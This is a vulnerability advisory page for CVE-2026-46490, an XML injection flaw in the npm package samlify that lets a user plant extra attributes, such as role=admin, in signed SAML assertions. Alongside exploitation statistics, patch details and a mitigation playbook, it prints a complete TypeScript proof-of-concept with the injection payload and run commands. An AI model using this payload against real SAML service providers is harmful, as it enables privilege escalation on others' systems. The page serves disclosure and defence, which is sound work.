NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-46490 — samlify

CVE-2026-46490 is a CWE-91 vulnerability in samlify. A fix is available for samlify — see the affected versions and patch details below.

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

Also known asGHSA-34r5-q4jw-r36m
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46490.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.35%0.71%1.06%0.4%0.5%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

90other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
samlifynpm
2.9Mdownloads / week

Description

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: '[email protected]', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmsamlifyall versions2.13.0npm install samlify@2.13.0

Affected Products

1 product · 1 configurations
Application
samlifysamlify_project
< 2.13.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for samlify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update samlify to 2.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46490 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). ## Root Cause `src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a
O3 Security · Impact-Aware SCA

Is CVE-2026-46490 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-46490: samlify PrivEsc — Fixed in 2.13.0